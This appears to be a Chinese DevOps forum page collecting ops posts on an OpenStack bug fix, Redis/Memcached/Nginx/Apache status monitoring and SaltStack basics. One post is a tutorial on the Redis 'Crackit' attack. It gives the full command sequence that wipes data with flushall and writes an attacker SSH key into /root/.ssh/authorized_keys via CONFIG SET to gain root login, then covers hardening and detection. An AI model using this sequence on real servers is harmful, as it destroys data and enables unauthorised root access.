DevOps学院

DevOps学院

中国新一代IT在线教育平台
运维知识体系

运维知识体系

运维知识体系总结,持续更新,欢迎转载。
缓存知识体系

缓存知识体系

运维知识体系之缓存,分层多级缓存体系。
速云科技

速云科技

DevOps咨询、企业内训、落地解决方案。

在使用docker时,如何追加端口最为方便

运维杂谈赵班长 回复了问题 • 2 人关注 • 1 个回复 • 2106 次浏览 • 2015-11-17 16:21 • 来自相关话题

Redis Crackit漏洞利用和防护

运维杂谈赵班长 发表了文章 • 4 个评论 • 5208 次浏览 • 2015-11-11 17:59 • 来自相关话题

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:
1.准备一个运行在root用户下的验证redis。2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt

开始了:很简单哦

#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护:

     1.禁用这些可以入侵的命令:
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵:
   
    1.你的redis数据莫名其妙没有了。     2.检查你的rdb文件存放的路径     3.检查是否有非法的authorized_keys 查看全部
        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt


开始了:很简单哦

#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。

[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护:

     1.禁用这些可以入侵的命令:
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵:
   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

OpenStack 无法连接到Neutron 问题解决

OpenStack赵班长 发表了文章 • 2 个评论 • 7716 次浏览 • 2015-11-11 10:19 • 来自相关话题

    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。

    注意:还有一种情况,就是你的Neutron真的无法连接,要查看服务和监听端口是否正常!

Yum安装的文件在这里:
[root@test-node1 ~]# vim /usr/share/openstack-dashboard/openstack_dashboard/api/neutron.py
源码安装的在这里:
vim /usr/lib/python2.6/site-packages/openstack_dashboard/api/neutron.py
在class FloatingIpManager类里少了is_supported的方法,这个是一个bug,可以通过手动修改解决。
def is_simple_associate_supported(self):
        # NOTE: There are two reason that simple association support
        # needs more considerations. (1) Neutron does not support the
        # default floating IP pool at the moment. It can be avoided
        # in case where only one floating IP pool exists.
        # (2) Neutron floating IP is associated with each VIF and
        # we need to check whether such VIF is only one for an instance
        # to enable simple association support.
        return False
#在这个类的最下面,增加下面的方法,注意缩进。
    def is_supported(self):
        network_config = getattr(settings, 'OPENSTACK_NEUTRON_NETWORK', {})
        return network_config.get('enable_router', True)
修改完毕后,需要重启apache才可以生效:
[root@test-node1 ~]# /etc/init.d/httpd restart 查看全部
    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。

    注意:还有一种情况,就是你的Neutron真的无法连接,要查看服务和监听端口是否正常!

Yum安装的文件在这里:
[root@test-node1 ~]# vim /usr/share/openstack-dashboard/openstack_dashboard/api/neutron.py
源码安装的在这里:
vim /usr/lib/python2.6/site-packages/openstack_dashboard/api/neutron.py
在class FloatingIpManager类里少了is_supported的方法,这个是一个bug,可以通过手动修改解决。
def is_simple_associate_supported(self):
        # NOTE: There are two reason that simple association support
        # needs more considerations. (1) Neutron does not support the
        # default floating IP pool at the moment. It can be avoided
        # in case where only one floating IP pool exists.
        # (2) Neutron floating IP is associated with each VIF and
        # we need to check whether such VIF is only one for an instance
        # to enable simple association support.
        return False
#在这个类的最下面,增加下面的方法,注意缩进。
    def is_supported(self):
        network_config = getattr(settings, 'OPENSTACK_NEUTRON_NETWORK', {})
        return network_config.get('enable_router', True)
修改完毕后,需要重启apache才可以生效:
[root@test-node1 ~]# /etc/init.d/httpd restart

应用监控-Redis状态监控

运维监控赵班长 发表了文章 • 1 个评论 • 3459 次浏览 • 2015-10-29 08:17 • 来自相关话题

Redis可以使用INFO命令,进行状态监控。

以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ,可以让命令只返回某一部分的信息:
    server : 一般 Redis 服务器信息,包含以下域:
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构(32 或 64 位)
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来,经过的天数
            lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理

    clients : 已连接客户端信息,包含以下域:
            connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)
            client_longest_output_list : 当前连接的客户端当中,最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中,最大输入缓存
            blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    memory : 内存信息,包含以下域:
            used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值(以字节为单位)
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。
        如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外,参数还可以是下面这两个:
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。 查看全部
Redis可以使用INFO命令,进行状态监控。

以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ,可以让命令只返回某一部分的信息:
    server : 一般 Redis 服务器信息,包含以下域:
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构(32 或 64 位)
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来,经过的天数
            lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理

    clients : 已连接客户端信息,包含以下域:
            connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)
            client_longest_output_list : 当前连接的客户端当中,最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中,最大输入缓存
            blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    memory : 内存信息,包含以下域:
            used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值(以字节为单位)
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。
        如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外,参数还可以是下面这两个:
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。

应用监控-Memcached状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2147 次浏览 • 2015-10-29 08:16 • 来自相关话题

[root@lb-node2 ~]# telnet 192.168.0.32 11211
Trying 192.168.0.32...
Connected to lb-node2.unixhot.com (192.168.0.32).
Escape character is '^]'.
stats
STAT pid 28123
STAT uptime 12108651
STAT time 1432622335
STAT version 1.4.20
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 302790.469851
STAT rusage_system 532615.597121
STAT curr_connections 1296
STAT total_connections 11753300
STAT connection_structures 12455
STAT reserved_fds 20
STAT cmd_get 25390452631
STAT cmd_set 432317850
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 25032687722
STAT get_misses 357764909
STAT delete_misses 252
STAT delete_hits 8799
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 2895142583054
STAT bytes_written 70030373847154
STAT limit_maxbytes 8489271296
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 21
STAT hash_bytes 16777216
STAT hash_is_expanding 0
STAT malloc_fails 0
STAT bytes 356408566
STAT curr_items 480250
STAT total_items 432317850
STAT expired_unfetched 136046737
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 172307832
STAT crawler_reclaimed 0
END
这里显示了很多状态信息,下边详细解释每个状态项:
pid: memcached服务进程的进程IDuptime: memcached服务从启动到当前所经过的时间,单位是秒。time: memcached服务器所在主机当前系统的时间,单位是秒。version: memcached组件的版本。libevent:当前使用的libevent的版本pointer_size:服务器所在主机操作系统的指针大小,一般为32或64.curr_items:表示当前缓存中存放的所有缓存对象的数量。total_items:表示从memcached服务启动到当前时间,系统存储过的所有对象的数量,包括目前已经从缓存中删除的对象。bytes:表示系统存储缓存对象所使用的存储空间,单位为字节。curr_connections:表示当前系统打开的连接数。total_connections:表示从memcached服务启动到当前时间,系统打开过的连接的总数。connection_structures:表示从memcached服务启动到当前时间,被服务器分配的连接结构的数量,这个解释是协议文档给的,具体什么意思,我目前还没搞明白。cmd_get:累积获取数据的数量,这里是3,因为我测试过3次,第一次因为没有序列化对象,所以获取数据失败,是null,后边有2次是我用不同对象测试了2次。cmd_set:累积保存数据的树立数量,这里是2.虽然我存储了3次,但是第一次因为没有序列化,所以没有保存到缓存,也就没有记录。get_hits:表示获取数据成功的次数。get_misses:表示获取数据失败的次数。evictions:为了给新的数据项目释放空间,从缓存移除的缓存对象的数目。比如超过缓存大小时根据LRU算法移除的对象,以及过期的对象。bytes_read:memcached服务器从网络读取的总的字节数。bytes_written:memcached服务器发送到网络的总的字节数。limit_maxbytes:memcached服务缓存允许使用的最大字节数。这里为67108864字节,也就是是64M.与我们启动memcached服务设置的大小一致。threads:被请求的工作线程的总数量
 
查看Memcached当时状态

printf "stats\r\n" | nc 127.0.0.1 11211

查看Memcached实时状态

watch "printf 'stats\r\n' | nc 127.0.0.1 11211" 查看全部
[root@lb-node2 ~]# telnet 192.168.0.32 11211
Trying 192.168.0.32...
Connected to lb-node2.unixhot.com (192.168.0.32).
Escape character is '^]'.
stats
STAT pid 28123
STAT uptime 12108651
STAT time 1432622335
STAT version 1.4.20
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 302790.469851
STAT rusage_system 532615.597121
STAT curr_connections 1296
STAT total_connections 11753300
STAT connection_structures 12455
STAT reserved_fds 20
STAT cmd_get 25390452631
STAT cmd_set 432317850
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 25032687722
STAT get_misses 357764909
STAT delete_misses 252
STAT delete_hits 8799
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 2895142583054
STAT bytes_written 70030373847154
STAT limit_maxbytes 8489271296
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 21
STAT hash_bytes 16777216
STAT hash_is_expanding 0
STAT malloc_fails 0
STAT bytes 356408566
STAT curr_items 480250
STAT total_items 432317850
STAT expired_unfetched 136046737
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 172307832
STAT crawler_reclaimed 0
END
这里显示了很多状态信息,下边详细解释每个状态项:
  • pid: memcached服务进程的进程ID
  • uptime: memcached服务从启动到当前所经过的时间,单位是秒。
  • time: memcached服务器所在主机当前系统的时间,单位是秒。
  • version: memcached组件的版本。
  • libevent:当前使用的libevent的版本
  • pointer_size:服务器所在主机操作系统的指针大小,一般为32或64.
  • curr_items:表示当前缓存中存放的所有缓存对象的数量。
  • total_items:表示从memcached服务启动到当前时间,系统存储过的所有对象的数量,包括目前已经从缓存中删除的对象。
  • bytes:表示系统存储缓存对象所使用的存储空间,单位为字节。
  • curr_connections:表示当前系统打开的连接数。
  • total_connections:表示从memcached服务启动到当前时间,系统打开过的连接的总数。
  • connection_structures:表示从memcached服务启动到当前时间,被服务器分配的连接结构的数量,这个解释是协议文档给的,具体什么意思,我目前还没搞明白。
  • cmd_get:累积获取数据的数量,这里是3,因为我测试过3次,第一次因为没有序列化对象,所以获取数据失败,是null,后边有2次是我用不同对象测试了2次。
  • cmd_set:累积保存数据的树立数量,这里是2.虽然我存储了3次,但是第一次因为没有序列化,所以没有保存到缓存,也就没有记录。
  • get_hits:表示获取数据成功的次数。
  • get_misses:表示获取数据失败的次数。
  • evictions:为了给新的数据项目释放空间,从缓存移除的缓存对象的数目。比如超过缓存大小时根据LRU算法移除的对象,以及过期的对象。
  • bytes_read:memcached服务器从网络读取的总的字节数。
  • bytes_written:memcached服务器发送到网络的总的字节数。
  • limit_maxbytes:memcached服务缓存允许使用的最大字节数。这里为67108864字节,也就是是64M.与我们启动memcached服务设置的大小一致。
  • threads:被请求的工作线程的总数量

 
查看Memcached当时状态


printf "stats\r\n" | nc 127.0.0.1 11211


查看Memcached实时状态


watch "printf 'stats\r\n' | nc 127.0.0.1 11211"


应用监控-Nginx状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2600 次浏览 • 2015-10-29 08:11 • 来自相关话题

开启方法server {
server_name 127.0.0.1;
location /nginx_status {
stub_status on;
access_log off;
allow 127.0.0.1;
deny all;
}
}输出例子

Active connections: 3176
server accepts handled requests
 12633357212 12633357212 16331056076
Reading: 4 Writing: 97 Waiting: 3075

输出详情
Active connections:   当前 Nginx 正处理的活动连接数。serveraccepts handled requests — 总共处理了 233851 个连接 , 成功创建 233851 次握手 (证明中间没有失败的 ), 总共处理了 687942 个请求 ( 平均每次握手处理了 2.94 个数据请求 )。Reading :     nginx当前读取到客户端的 Header 信息数。writing :        nginx 当前返回给客户端的 Header 信息数。waiting:         开启 keep-alive 的情况下,这个值等于 active – (reading + writing), 意思就是 Nginx 已经处理完正在等候下一次请求指令的驻留连接。 查看全部
开启方法
server {
server_name 127.0.0.1;
location /nginx_status {
stub_status on;
access_log off;
allow 127.0.0.1;
deny all;
}
}
输出例子


Active connections: 3176
server accepts handled requests
 12633357212 12633357212 16331056076
Reading: 4 Writing: 97 Waiting: 3075


输出详情
  • Active connections:   当前 Nginx 正处理的活动连接数。
  • serveraccepts handled requests — 总共处理了 233851 个连接 , 成功创建 233851 次握手 (证明中间没有失败的 ), 总共处理了 687942 个请求 ( 平均每次握手处理了 2.94 个数据请求 )。
  • Reading :     nginx当前读取到客户端的 Header 信息数。
  • writing :        nginx 当前返回给客户端的 Header 信息数。
  • waiting:         开启 keep-alive 的情况下,这个值等于 active – (reading + writing), 意思就是 Nginx 已经处理完正在等候下一次请求指令的驻留连接。

应用监控-Apache状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2404 次浏览 • 2015-10-29 08:10 • 来自相关话题

开启方法

如果是源码安装的默认在httpd-info.conf里面有相关配置,可以在httpd.conf里面进行include。
httpd.conf:
Include conf/extra/httpd-info.conf
注意在httpd-info.conf里面有两个配置分别为server-status和server-info。分别依赖mod_status和mod_info模块。
Mod_status里面主要是Apache当前的连接状态,通过设置ExtendedStatus On可以输出更完整详细的内容。Mod_info的输出是Apache所有运行状态的完整输出,包括配置文件等,有点类似于phpinfo的效果。
<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from 124.192.11.16
</Location>
ExtendedStatus On
<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from 124.192.11.16
</Location>
需要强调的是,用户开启状态,注意设置Allow From,以免造成敏感信息的泄漏。 查看全部
开启方法

如果是源码安装的默认在httpd-info.conf里面有相关配置,可以在httpd.conf里面进行include。
httpd.conf:
Include conf/extra/httpd-info.conf
注意在httpd-info.conf里面有两个配置分别为server-status和server-info。分别依赖mod_status和mod_info模块。
  • Mod_status里面主要是Apache当前的连接状态,通过设置ExtendedStatus On可以输出更完整详细的内容。
  • Mod_info的输出是Apache所有运行状态的完整输出,包括配置文件等,有点类似于phpinfo的效果。

<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from 124.192.11.16
</Location>
ExtendedStatus On
<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from 124.192.11.16
</Location>

需要强调的是,用户开启状态,注意设置Allow From,以免造成敏感信息的泄漏。

中小企业自动化部署实践和监控体系构建实践

DevOps赵班长 发表了文章 • 0 个评论 • 2231 次浏览 • 2015-10-28 10:14 • 来自相关话题

下面是我在微信公众号:高效运维分享的两篇文章,欢迎拍砖和转发!


中小企业自动化部署实践

中小企业监控体系构建实践 查看全部
下面是我在微信公众号:高效运维分享的两篇文章,欢迎拍砖和转发!


中小企业自动化部署实践

中小企业监控体系构建实践

SaltStack快速入门(5)-SaltStack与ZeroMQ

SaltStack赵班长 发表了文章 • 2 个评论 • 4096 次浏览 • 2015-10-27 22:46 • 来自相关话题

    我们进行自动化运维大多数情况下,是我们的服务器数量已经远远超过人工SSH维护的范围,SaltStack可以支数以千计,甚至更多的服务器。这些性能的提供主要来自于ZeroMQ,因为SaltStack底层是基于ZeroMQ进行高效的网络通信。ZMQ用于node与node间的通信,node可以是主机也可以是进程。

ZeroMQ简介
  ZeroMQ(我们通常还会用ØMQ , 0MQ, zmq等来表示)是一个简单好用的传输层,像框架一样的一个套接字库,他使得Socket编程更加简单、简洁和性能更高。它还是一个消息处理队列库,可在多个线程、内核和主机盒之间弹性伸缩。
发布与订阅
ZeroMQ支持Publish/Subscribe,即发布与订阅模式,我们经常简称Pub/Sub。






 Salt Master运行两个网络服务,其中一个是ZeroMQ PUB系统,默认监听4505端口。可以通过修改/etc/salt/master配置文件的publish_port参数设置。它是salt的消息发布系统,如果查看4505端口,会发现所有的Minion连接到Master的4505端口,TCP状态持续保持为ESTABLISHED。

[root@ master]# lsof -i:4505

    这样Salt Master发布一个消息,所有连接到4505这个Pub端口上的Minion都会接收到这个消息。然后每个Minion会再判断自己是否需要执行这个消息。

请求与响应
ZeroMQ支持Request-Reply,即请求与响应模式,我们经常简称REQ/REP。





     Salt Master运行的第二个网络服务就是ZeroMQ REP系统,默认监听4506端口,可以通过修改/etc/salt/master配置文件的ret_port参数设置。它是salt客户端与服务端通信的端口。比如说Minion执行某个命令后的返回值就是发送给Master的4506这个REP端口
由于我们在最初安装了python-setproctitle软件包,所以我们可以直接看到Salt Master启动的进程的名称。

[root@ops-node1 ~]# ps aux | grep salt
/usr/bin/salt-master -d ProcessManager  #中心进程管理器
/usr/bin/salt-master -d _clear_old_jobs  #清除旧的Jobs文件及更新fileserver
/usr/bin/salt-master -d Publisher       #将任务PUB到Minion端
/usr/bin/salt-master -d EventPublisher  #Event Publisher进程
/usr/bin/salt-master -d ReqServer_ProcessManager #ReqServer进程管理器
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorkerQueue #将Ret接口(ROUTER)数据转发到Worker(DEALER)
  查看全部
    我们进行自动化运维大多数情况下,是我们的服务器数量已经远远超过人工SSH维护的范围,SaltStack可以支数以千计,甚至更多的服务器。这些性能的提供主要来自于ZeroMQ,因为SaltStack底层是基于ZeroMQ进行高效的网络通信。ZMQ用于node与node间的通信,node可以是主机也可以是进程。

ZeroMQ简介
  ZeroMQ(我们通常还会用ØMQ , 0MQ, zmq等来表示)是一个简单好用的传输层,像框架一样的一个套接字库,他使得Socket编程更加简单、简洁和性能更高。它还是一个消息处理队列库,可在多个线程、内核和主机盒之间弹性伸缩。
发布与订阅
ZeroMQ支持Publish/Subscribe,即发布与订阅模式,我们经常简称Pub/Sub。

1.png


 Salt Master运行两个网络服务,其中一个是ZeroMQ PUB系统,默认监听4505端口。可以通过修改/etc/salt/master配置文件的publish_port参数设置。它是salt的消息发布系统,如果查看4505端口,会发现所有的Minion连接到Master的4505端口,TCP状态持续保持为ESTABLISHED。


[root@ master]# lsof -i:4505


    这样Salt Master发布一个消息,所有连接到4505这个Pub端口上的Minion都会接收到这个消息。然后每个Minion会再判断自己是否需要执行这个消息。

请求与响应
ZeroMQ支持Request-Reply,即请求与响应模式,我们经常简称REQ/REP。
2.png


     Salt Master运行的第二个网络服务就是ZeroMQ REP系统,默认监听4506端口,可以通过修改/etc/salt/master配置文件的ret_port参数设置。它是salt客户端与服务端通信的端口。比如说Minion执行某个命令后的返回值就是发送给Master的4506这个REP端口
由于我们在最初安装了python-setproctitle软件包,所以我们可以直接看到Salt Master启动的进程的名称。


[root@ops-node1 ~]# ps aux | grep salt
/usr/bin/salt-master -d ProcessManager  #中心进程管理器
/usr/bin/salt-master -d _clear_old_jobs  #清除旧的Jobs文件及更新fileserver
/usr/bin/salt-master -d Publisher       #将任务PUB到Minion端
/usr/bin/salt-master -d EventPublisher  #Event Publisher进程
/usr/bin/salt-master -d ReqServer_ProcessManager #ReqServer进程管理器
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorkerQueue #将Ret接口(ROUTER)数据转发到Worker(DEALER)
 


SaltStack快速入门(4)-SaltStack配置管理

SaltStack赵班长 发表了文章 • 3 个评论 • 3145 次浏览 • 2015-10-27 22:42 • 来自相关话题

      Salt使用State模块文件进行配置管理,使用YAML编写,以.sls结尾。如果进行配置管理首先需要再Master的配置文件中指定”file roots”的选项,Salt支持环境的配置,比如开发环节、测试环境、生产环境,但是base环境是必须的。而且Base环境必须包含入口文件top.sls。

 第一步:设置file_roots
修改Master配置文件,指定File_roots。

[root@master ~]# vim /etc/salt/master
file_roots:
   base:
     - /srv/salt

创建相应的目录
[root@master ~]# mkdir -p /srv/salt
重启Salt Master
[root@master ~]# /etc/init.d/salt-master restart
Stopping salt-master daemon:                              [  OK  ]
Starting salt-master daemon:                               [  OK  ]

 第二步:设置top.sls
在top.sls入口文件设置环境(如生产、开发、测试对应不同的minion和模块)。

[root@master ~]# vim /srv/salt/top.sls
base:
  '*':
   - apache

解释:所有的Minion均执行base目录下的init模块下的pkg-init.sls。我们可以把很多的sls放在一个目录中,方便管理。在top.sls只需要指定目录结构即可。

 第三步:编写状态文件

[root@master ~]# vim /srv/salt/apache.sls
apache-install:
  pkg.installed:
    - names:
      - httpd
      - httpd-devel
apache-service:
  service.running:
    - enable: True
    - reload: True

第四步:执行状态
